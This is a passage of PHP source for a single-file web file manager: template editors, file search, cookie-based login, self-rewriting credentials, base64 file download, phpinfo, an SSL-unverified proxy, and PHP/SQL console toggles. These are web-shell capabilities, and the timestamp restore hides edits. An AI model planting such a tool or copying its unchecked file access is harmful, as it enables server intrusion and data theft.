		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
